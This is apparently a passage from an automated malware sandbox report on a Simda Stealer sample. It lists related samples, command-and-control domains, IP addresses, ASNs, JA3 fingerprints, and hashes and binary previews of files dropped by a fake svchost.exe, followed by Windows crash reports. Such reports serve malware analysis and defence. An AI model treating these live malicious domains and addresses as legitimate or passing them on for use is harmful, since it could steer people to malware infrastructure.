	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	ww16.vofycot.com/login.php?sub1=20241112-0425-1706-a2c8-02526792f211
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	ww16.vofycot.com/login.php?sub1=20241112-0426-044d-b465-1d078f2f97da
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	ww16.vofycot.com/login.php?sub1=20241112-0413-3653-b9c7-4bbc444bdc48
	uavINoSIQh.exe	Get hash	malicious	Simda Stealer	Browse	ww16.vofycot.com/login.php?sub1=20241112-0408-09d4-8f1c-1de8890559b5
	7DAKMhINGk.exe	Get hash	malicious	Simda Stealer	Browse	ww16.vofycot.com/login.php?sub1=20241112-0352-0187-b8de-fd2bfab34f87
	http://afilias-grs.net	Get hash	malicious	Unknown	Browse	ww1.afilias-grs.net/search/tsc.php?ses=ogcIVruNZX5wQoGiwEz0Cq5PlN8zbbyp9Yq8dJFsn9poLX66IqkUhYVtAoJVb1AVRMXAtM65AaycMcjRMYAhdanh4H9VedEkUUDj7sc72cCMrn4Aq1jlr5Cf3Gyi37eSFszvqR2Z1jp_ezLSbToMVTMtkjDzo_LiuICxKqxU1ViilTwANTlr5WASZHBeFyN9K17m6E3E5ah97JIYIlDvt1EGmzUgNAGCXUTJBPD90zmFYlGgcsrWr9x5sRfW2BLGGMk8_iHKL0K_Iui8SV31UmfqbTFkZA14T8LZNQ7C4KUa_tBEFu-HS0j_I6Y4wh0p5m1bWRgdCQ_T3rEK468UUMrsAoUYxdvCJFLI5qVszq4s5qkp2l0O3xrQTkw&cv=2
	OjKmJJm2YT.exe	Get hash	malicious	Simda Stealer	Browse	ww16.vofycot.com/login.php?sub1=20240908-1854-132f-8c2f-134916a1e9d0
	5AFlyarMds.exe	Get hash	malicious	Simda Stealer	Browse	ww16.vofycot.com/login.php?sub1=20240908-1700-25c9-bc2e-507729a41b57

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pupycag.com	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	18.208.156.248
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	18.208.156.248
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	18.208.156.248
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	18.208.156.248
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	18.208.156.248
	uavINoSIQh.exe	Get hash	malicious	Simda Stealer	Browse	18.208.156.248
	7DAKMhINGk.exe	Get hash	malicious	Simda Stealer	Browse	18.208.156.248
	OjKmJJm2YT.exe	Get hash	malicious	Simda Stealer	Browse	18.208.156.248
	5AFlyarMds.exe	Get hash	malicious	Simda Stealer	Browse	18.208.156.248
	uB31aJH4M0.exe	Get hash	malicious	Simda Stealer	Browse	18.208.156.248
pupydeq.com	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	13.248.169.48
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	13.248.169.48
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	13.248.169.48
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	13.248.169.48
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	13.248.169.48
	uavINoSIQh.exe	Get hash	malicious	Simda Stealer	Browse	13.248.169.48
	7DAKMhINGk.exe	Get hash	malicious	Simda Stealer	Browse	13.248.169.48
	OjKmJJm2YT.exe	Get hash	malicious	Simda Stealer	Browse	13.248.169.48
	5AFlyarMds.exe	Get hash	malicious	Simda Stealer	Browse	13.248.169.48
	uB31aJH4M0.exe	Get hash	malicious	Simda Stealer	Browse	13.248.169.48

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NBS11696US	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	64.190.63.136
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	64.190.63.136
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	64.190.63.136
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	64.190.63.136
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	64.190.63.136
	uavINoSIQh.exe	Get hash	malicious	Simda Stealer	Browse	64.190.63.136
	7DAKMhINGk.exe	Get hash	malicious	Simda Stealer	Browse	64.190.63.136
	sh4.elf	Get hash	malicious	Mirai	Browse	209.87.95.110
	jklarm5.elf	Get hash	malicious	Unknown	Browse	64.190.7.239
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	64.190.99.77
AMAZON-AESUS	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	44.221.84.105
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	44.221.84.105
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	44.221.84.105
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	44.221.84.105
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	44.221.84.105
	uavINoSIQh.exe	Get hash	malicious	Simda Stealer	Browse	44.221.84.105
	7DAKMhINGk.exe	Get hash	malicious	Simda Stealer	Browse	44.221.84.105
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	44.210.24.233
	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse	54.144.73.197
	http://swctch.com	Get hash	malicious	Unknown	Browse	52.2.182.50
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	106.15.232.163
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	106.15.232.163
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	106.15.232.163
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	106.15.232.163
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	106.15.232.163
	uavINoSIQh.exe	Get hash	malicious	Simda Stealer	Browse	106.15.232.163
	7DAKMhINGk.exe	Get hash	malicious	Simda Stealer	Browse	106.15.232.163
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	120.79.48.98
	sora.mips.elf	Get hash	malicious	Mirai	Browse	8.188.166.167
	mips.elf	Get hash	malicious	Unknown	Browse	47.93.221.102

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	188.114.97.3 99.83.170.3 188.114.96.3 75.2.71.199
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	188.114.97.3 99.83.170.3 188.114.96.3 75.2.71.199
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	188.114.97.3 99.83.170.3 188.114.96.3 75.2.71.199
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	188.114.97.3 99.83.170.3 188.114.96.3 75.2.71.199
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	188.114.97.3 99.83.170.3 188.114.96.3 75.2.71.199
	uavINoSIQh.exe	Get hash	malicious	Simda Stealer	Browse	188.114.97.3 99.83.170.3 188.114.96.3 75.2.71.199
	7DAKMhINGk.exe	Get hash	malicious	Simda Stealer	Browse	188.114.97.3 99.83.170.3 188.114.96.3 75.2.71.199
	11315781264#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	188.114.97.3 99.83.170.3 188.114.96.3 75.2.71.199
	P52mX04112024145925383.exe	Get hash	malicious	FormBook, GuLoader	Browse	188.114.97.3 99.83.170.3 188.114.96.3 75.2.71.199
	Factura Honorarios 2024-11-04.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3 99.83.170.3 188.114.96.3 75.2.71.199

Process:	C:\Windows\apppatch\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	593
Entropy (8bit):	7.626935561277827
Encrypted:	false
SSDEEP:	12:NXnYWSLEmM3e7/EzZUimtdHCD6B+HAwQ0m7xs01O58/fTU6i0rSZd09LQ:FYWSLdM3CENUJtd85IsWO58NGd09k
MD5:	926512864979BC27CF187F1DE3F57AFF
SHA1:	ACDEB9D6187932613C7FA08EAF28F0CD8116F4B5
SHA-256:	B3E893A653EC06C05EE90F2F6E98CC052A92F6616D7CCA8C416420E178DCC73F
SHA-512:	F6F9FD3CA9305BEC879CFCD38E64111A18E65E30D25C49E9F2CD546CBAB9B2DCD03ECA81952F6B77C0EAAB20192EF7BEF0D8D434F6F371811929E75F8620633B
Malicious:	false
Preview:	....tp.-$\|e.V...(.m.y;.;..>...O`.<.]..&@...0..P....:.(...{i1r....H...i......=$.<.v&1...%e..r..(}b;.U...A.f..K8S.9IM.R.....!.._.....N':.. ..s..!IX..ZK..q..T..v.%.....0...fn.........b...../...\..O8....M...i.ZF.r.C.)~qO..T..{...x..g.......$.t.m;..\|.R.33...; ...N.#..rN.A.c.D.w.?0.%D.i..1...5..[.,......ir.Z.`.....+.8..Y.....'>./l..qZ..#1F..F...=./,.&.....e.Q..$.mZZAZ........P...=T.u.H]^n\|..h_s.n....r..I..U.T..%N$.B..jj.\.....Z.';-.....5...#..u.P..k...\..:.'..l8n<C.s.SJ..4....%OE.L2..Ir....U...d.CP....m<.TG?.u..iLj....H.H...?G..O..tE..9..%.<+<......_.w..S....

C:\Program Files (x86)\Windows Defender\galyqaz.com

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	271
Entropy (8bit):	7.211107091222298
Encrypted:	false
SSDEEP:	6:NBQM2NMx5ZkFjA7/B4lTosFLcWdg+oFQy749du8szDLIalm:NB0wQFs7/B4vOWKvFnWduRPtlm
MD5:	83EB358D93A58A5515D37544731C6C51
SHA1:	EED72863382F3F9845DC020DCDCF4C7656D619F3
SHA-256:	32D53F571A785269AA1D589299B1E02697B49130CF3059E8071A08A9A946B67E
SHA-512:	9EEFF293218D0A5BEE5932473C582D3EEA21A20DDA4AFB0D44DF38831DA01A62EAFC41FA1F15EE7DFB18379A4EF4B0327D88A78DDFF270C8714245E64C88E356
Malicious:	false
Preview:	....tp..pqa.....(.m.y;....U..V).l.X...+....+......h.+..f..<....^...g......ph.0.oa....w%.z..G5"tX./....d..y5:;.}.Sp=.Q....$.....I..B;p..V).....~.F......:..X..{.%.....yA..Bn......Y..d.....&.J.S..P/....I...n.EI.r....cg..^...`...?.."...Z.q..c.x.z<..sD..j-..q&...

C:\Program Files (x86)\Windows Defender\pupydeq.com

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	6.479691220248167
Encrypted:	false
SSDEEP:	3:elfPZkATGqaNh/bf4/o/flD2qNJ5ZmANv:elfhkVNh/L4kl2qNJ5ZmAx
MD5:	BFDE1E9E9C32C1681A16139450C6909D
SHA1:	7E669B927E6A75A10A0CA29E38E58DDCB49B725E
SHA-256:	E0D020BA1CB6506CEE234903A44C747EE0CFA7E2D1E60029E4CD8DE9A431512A
SHA-512:	781FD54F155442DD34F9919B3CD063EE399DB411BBFE15F2BDC43D3AB8AC2D04E1011B2C99FAB42BEBF7B903A94E09AAAEF71B7A465D2D04B417F6DAD8E8E396
Malicious:	false
Preview:	...[..A.9l.....\|.e.&'.*.-K...P-.p.R...9L....%........'.=...bto2..X...f.....@pg.>..ac...69..z...}/<.MF9...h..

C:\Program Files (x86)\Windows Defender\puzylyp.com

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	59521
Entropy (8bit):	7.972501252180373
Encrypted:	false
SSDEEP:	1536:ZQimNJq4lkHqWmHwEyivDfOoG5tN06d+12:ZRukFmHy4rG5tU2
MD5:	523E24CD4C310923DF35FF33E2AD7020
SHA1:	C15892132EA1D2E62567721871DA5F69F3F3E342
SHA-256:	A246E3D514A5F96F1CE3FCEEFA455575BB656B0743710CBF4C9E50186D7794CE
SHA-512:	556B8D6A853DCA7D66340B00ED72081CD2871F1F7355C14F8ABDD0F4179A5A46774E5A7B439BA7661D4F28180BFFE646C89BFBB751E1BF152525835C4D3FA55C
Malicious:	false
Preview:	...[..A.9l.....\|.e.8w.!..1....j..r.^..r.....'..>....=.s.$$71...I...i.....==.7.rg~..j#.`S..y0,F..%....c...Kr).#FB...B...........H<../.. ..>.Y......:X..G..4.j....{W.A. .............6.P.Q..[).\.T...z.PK.n.P.2, ..CG..,...q..c....S.}.f..K..8...y=..+...S.b..cAMN.a.U.q.c3.9^.hD.+..'.....-.....(t...\|.....(.$.......`<..n..\|A..7.W..W...u..(eX&....C8....(.'..V..O.......F...:ET;^.B..(.N.:.a....n..........'A:..Q.!j..J.m.=.^.-=-.....*..>..bvF..K.H....8.9...g?=+..D.....9@...'ON.G'.J./....P..x.UGRWH.{8...u......jY(h..7..V.......i(..\|...,..\|;.e.+<;...l..I..,.Kf^....$.&.$.\|7....h..6Rn..+z.~/4W(......f.P..R6.....[a.~.h.+.u.[...sO.(Fzy.;.....<...A..@..N...<. ..Z... .g.+....p.(........#....r6.. Eo....3......jIg}.....z_..)'+....p............P?..h1..x.Nk.....M...Z.......0+.Yf.+.O.M..&V...X.fofX...wt.L#.R..h...z.....,../......m'..dsn\........V..4Eq....w....7.M.~ ...d.]ij.........1..\.....:.+y..).........O.,..v..C.EH.C.cI.3.:...7=PM.6.....C .d..

C:\Program Files (x86)\Windows Defender\qexyhuv.com

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	6.479691220248167
Encrypted:	false
SSDEEP:	3:elfPZkATGqaNh/bf4/o/flD2qNJ5ZmANv:elfhkVNh/L4kl2qNJ5ZmAx
MD5:	BFDE1E9E9C32C1681A16139450C6909D
SHA1:	7E669B927E6A75A10A0CA29E38E58DDCB49B725E
SHA-256:	E0D020BA1CB6506CEE234903A44C747EE0CFA7E2D1E60029E4CD8DE9A431512A
SHA-512:	781FD54F155442DD34F9919B3CD063EE399DB411BBFE15F2BDC43D3AB8AC2D04E1011B2C99FAB42BEBF7B903A94E09AAAEF71B7A465D2D04B417F6DAD8E8E396
Malicious:	false
Preview:	...[..A.9l.....\|.e.&'.*.-K...P-.p.R...9L....%........'.=...bto2..X...f.....@pg.>..ac...69..z...}/<.MF9...h..

C:\Program Files (x86)\Windows Defender\vofycot.com

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	25028
Entropy (8bit):	7.979699699980115
Encrypted:	false
SSDEEP:	768:U4ak8nl3r9HtbQ+z87BVjjWk5rSV4Z8tPzh3XCV5:VJElb9H187TjWKW4S8P
MD5:	576A9BD2675F4AF8382B676F390A9500
SHA1:	E3BEFE9AB331BA51E76AE56643BD37FF87E0E205
SHA-256:	4EE290665A327D45B14757A7D11D509976DCF2BAF094CF3DED1CA31B194F821A
SHA-512:	6C0079D523F7C4CF42C0321CF4A61A53E8315532D45CB1D919447F7B00D47A0A7D6AB57692BBF3DA1E7194BB9A30E23BC227CF86186B5D7938624D0DC8C7EFF1
Malicious:	false
Preview:	...[..A.9l.....\|.e.8w.!..1.....9.:....".....=..9.......z...}yE.....j...I.....<.&.3.l6g...q...d^.X.K6.g`a..;.F.2Sdo.}8..U.g;...H.L.....A.....y.....v.[..K'..."..r..Z2r.....%g..=.....8..Y..2....t.:..j>....W...p.P..Y&..pUnV.O&..\8.."..R.X/.1..$.E.+r.b.@..&r..`r..Y.p..c....p.D.l.n .)..%..l...p.....a......h...e....g.<.......;). ?..zI..kW.......&.. :.>.....tW..j:.".........T...M... X.;.TB.'s.^vC>.:.....=..R..VZ..%.k..].>w..O.;.a.R.!-<.....$...$..f4...G.C..R.w.....dyn:....BD..aZ...v.G.C#...l......w.TW.RO.k<.KA.....'./d.. ....H......am.J...\|..d\|..\|.9 6...x......0.Ww.....l.h.j.m-...~..+.#..v{.!r.=..^....{.M..H....<?.v.1.h.b.x......n+V#Jo-.6..D._-...SZ....I...~.o..I...;.u.....n.+.......+FA..mc....:Im.S..8..>....d.Id......zK..qtqH...;..........Z..V/..e9..r..Qw.....k\......M.f#.Xi.D.M....t....RWf&hV...in.Lk...=....x....l.........m&..A(t.............dGs....`....).A.w}..I6..=p.........r..R......s.!%C.;........z...[.Z.....Z.e..).(...#/.G.c......Z(.c..

C:\Program Files (x86)\Windows Defender\vojyqem.com

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.839510823729912
Encrypted:	false
SSDEEP:	24:IZsdS4WMBLdxezuQj1kZ8l9KfPqiH4E/kTXRUubqU:QsSixez1Rg8yuIkTXRdqU
MD5:	4A7E5199E2A9EA5F92BC9EDF6DCB1849
SHA1:	F1FC2703611E16D6C10AC32274C7534497B3EA3B
SHA-256:	95A468FFC06AA70269D28E83C5A09E59B8A824E1FC0DDF0B6C0D1D836E0F9A0E
SHA-512:	C1E17D0A83BB42394F589AAE14B41842B39B778C9B47D93E44CED7389604E5022BC6872FC502028CC980CEC878952051E681ABC5985C5FFD4CFB381E42B57201
Malicious:	false
Preview:	...{:.a)9l.....(.\|.t;....>....V>.%.B...........%$......P...J^X..q....z...<.%...U<e..U9.y".[.F7..r5....=.;ZO.../.......%....}..~:...3;.s...s/2../....2.f..F%H.....uJ.".e.....-.....,....U....L../..~...S$.%.TXC. evx.....t0..e.z=...P....(.r..`..~...}t...0l...D.).Ju.X..c.B.\|.lv....5h.:...}...."..R.\|g...?.....).2A......op.,8..{Z..7..O.....i..-7.:....[`Q..Pb.(.....L......L...5]W&X...s6..B_s.n......r..._.EZ...m.a._..+>.FO...9.G./u;G..\.`.....7.v..g g./.._.`...H.\.".;x2#..Uj..U.g.c..-@.....O...9..+gn..~y.Asx.>......^..w..+.J.....8!.WaO.0Q.xk..e.1<6...s..[...=.Rv..@...b.i.-.mp....+..x.#..p~.4D(.!.......r..y.B6.....p.c.b.+.e.L....!.E/N;3.x...P=........R..... ..X.-..s. .&.._6z....^........g..\|.....2......(......N;.....GR..AaM....."..........\...8...).9>.6..;R..\|........\|.N>.,...K.. s...U9}<g....p5..).B..W...f..S...1.[...J....ohU..........#..lk]...v....\|...^L..!^..0@.........$.........R.rGY.{.........O4..Y.[2....Q.c..;..... Z.C.`.......=.c..

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_01944aee-e1e7-48b0-916a-28bc3e11cd36\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0328449904901382
Encrypted:	false
SSDEEP:	192:3et1eAIMhAw0BU/n555KjRJd64zuiFV9Z24IO8U85S:0zh0BU/gjPxzuiFXY4IO8O
MD5:	1BEE41582A64BD60A55D95D108CD1A81
SHA1:	99E4B798049A0D5A47015D89BBF01F1224810633
SHA-256:	D3D323283495A771046D19AF5209AEE4223F0BADB5D8853A3E0B29C911FE1B54
SHA-512:	FE49F5E86367D6D6C75DCDAED0AC0C4CB75EC3F7FAE6EACDB880B32B8BD93B5F858ACA62252E47FE12849ED7854145E44F3B1404AC000B2804993CDE8FDAEB69
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.1.0.6.2.1.7.0.0.1.8.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.1.0.6.6.5.4.5.0.1.8.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.1.9.4.4.a.e.e.-.e.1.e.7.-.4.8.b.0.-.9.1.6.a.-.2.8.b.c.3.e.1.1.c.d.3.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.4.e.d.6.f.d.4.-.a.9.6.2.-.4.9.6.d.-.8.0.6.4.-.7.9.0.c.9.f.d.0.6.6.1.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.P.M.n.A.V.s.j.M.P.u.c.E.R.A.K.E.W.N.F.I.m.y.S.C.F.H.o.L.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.0.0.-.0.0.0.1.-.0.0.1.5.-.1.5.8.c.-.5.4.2.c.6.2.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.9.2.3.0.8.4.c.5.2.e.6.d.3.b.5.3.8.2.9.4.8.4.5.8.5.5.d.f.6.4.c.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.P.M.n.A.V.s.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_0a61631d-a14a-4539-98d3-55cfc8d28ee8\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9868129628595451
Encrypted:	false
SSDEEP:	192:CMWda1eAIM9Aw0BU/n555KjRJdwzuiFGZ24IO8U85S:1Wyz90BU/gjPCzuiFGY4IO8O
MD5:	F15F7450DB66E1E121AB79BC7972BBA6
SHA1:	42182A4355C6A0F5A4EC9E15D7FD11B910A1D755
SHA-256:	956AAA93F01F6F001D98D98E656AE391C5CFEBB0D418391BB353413E75551D6E
SHA-512:	866B9698591385BFB4C22951FEF7531F3EF574C52B5E68AD68AEDA5FE8C75263A294B2C804020B59F72600A4A29132A726F5AF3E6911E5563CCF0F2AFC27D984
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.1.0.8.0.6.3.6.6.4.6.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.1.0.8.1.3.3.9.7.6.3.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.a.6.1.6.3.1.d.-.a.1.4.a.-.4.5.3.9.-.9.8.d.3.-.5.5.c.f.c.8.d.2.8.e.e.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.7.b.a.2.1.3.1.-.0.7.a.b.-.4.6.0.3.-.a.e.d.e.-.9.a.e.c.4.9.3.6.0.e.4.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.P.M.n.A.V.s.j.M.P.u.c.E.R.A.K.E.W.N.F.I.m.y.S.C.F.H.o.L.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.3.8.-.0.0.0.1.-.0.0.1.5.-.4.6.f.b.-.3.d.2.c.6.2.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.9.2.3.0.8.4.c.5.2.e.6.d.3.b.5.3.8.2.9.4.8.4.5.8.5.5.d.f.6.4.c.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.P.M.n.A.V.s.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_11d111c9-9b2a-4a8c-b75d-6b9459182a88\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0263196662857732
Encrypted:	false
SSDEEP:	192:wtz9L1eAIMJAw0BU/n555KjRJdqTzuiFV9Z24IO8U85S:onzJ0BU/gjPyzuiFXY4IO8O
MD5:	4424C9607F17ABC60D2267231A3A8AA4
SHA1:	268230E162038FB75B072ADAC4C6F7407CECD744
SHA-256:	75B6791BD987839570A3A624475EEDEABF18932E0C8C4C19064855D0F3C3CC3E
SHA-512:	2EB661B9C51B5A2D5722B8C96DAA9A4CEB88DDD5E2568C3C126D975781D9681CFCD7298ACD7B4F8EFADB9B34F062878840E730A4BB7F0574AED334DABF2B345F
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.1.0.6.9.6.7.4.0.8.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.1.0.7.0.8.7.7.2.0.9.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.1.d.1.1.1.c.9.-.9.b.2.a.-.4.a.8.c.-.b.7.5.d.-.6.b.9.4.5.9.1.8.2.a.8.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.8.d.8.3.0.a.3.-.6.e.d.5.-.4.4.2.e.-.a.3.c.7.-.4.3.2.6.6.6.e.1.a.2.4.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.P.M.n.A.V.s.j.M.P.u.c.E.R.A.K.E.W.N.F.I.m.y.S.C.F.H.o.L.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.e.4.-.0.0.0.1.-.0.0.1.5.-.2.b.d.9.-.4.9.2.c.6.2.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.9.2.3.0.8.4.c.5.2.e.6.d.3.b.5.3.8.2.9.4.8.4.5.8.5.5.d.f.6.4.c.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.P.M.n.A.V.s.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PMnAVsjMPucERAKE_12ae2d6cdbb4567c5635afbf27bcc9d664aca4b_602c500d_39cbfe93-2849-4ad4-bdf2-1123fba6a42b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0263640630408497
Encrypted:	false
SSDEEP:	192:LG581eAIMgAw0BU/n555KjRJdSTzuiFV9Z24IO8U85SU:iYzg0BU/gjPKzuiFXY4IO8OU
MD5:	42291B5467D24A1F39F89583A88226BD
SHA1:	DEFDEB39336406D879BDAE25C8A6AED25A908D20
SHA-256:	48368753B1BF8C413DCDA5763A49E209F52E223AB8064F4A8D2FD2CF7A9C6C70
SHA-512:	1DF926F1D063575D30815C91EE9EFB9B4D0A6D947539CE171C881814EEEAB263E8A7CCEA276F8E4EA01DBAC8CA4DCDAFEB5CE0291733992F8B37218C2DF96AAF
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.1.0.7.0.9.7.0.8.9.5.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.1.0.7.3.3.4.5.8.9.4.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.9.c.b.f.e.9.3.-.2.8.4.9.-.4.a.d.4.-.b.d.f.2.-.1.1.2.3.f.b.a.6.a.4.2.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.3.0.c.2.7.3.1.-.b.6.7.9.-.4.2.7.3.-.9.8.4.e.-.2.c.c.2.c.c.6.a.c.8.0.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.P.M.n.A.V.s.j.M.P.u.c.E.R.A.K.E.W.N.F.I.m.y.S.C.F.H.o.L.k...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.4.0.8.-.0.0.0.1.-.0.0.1.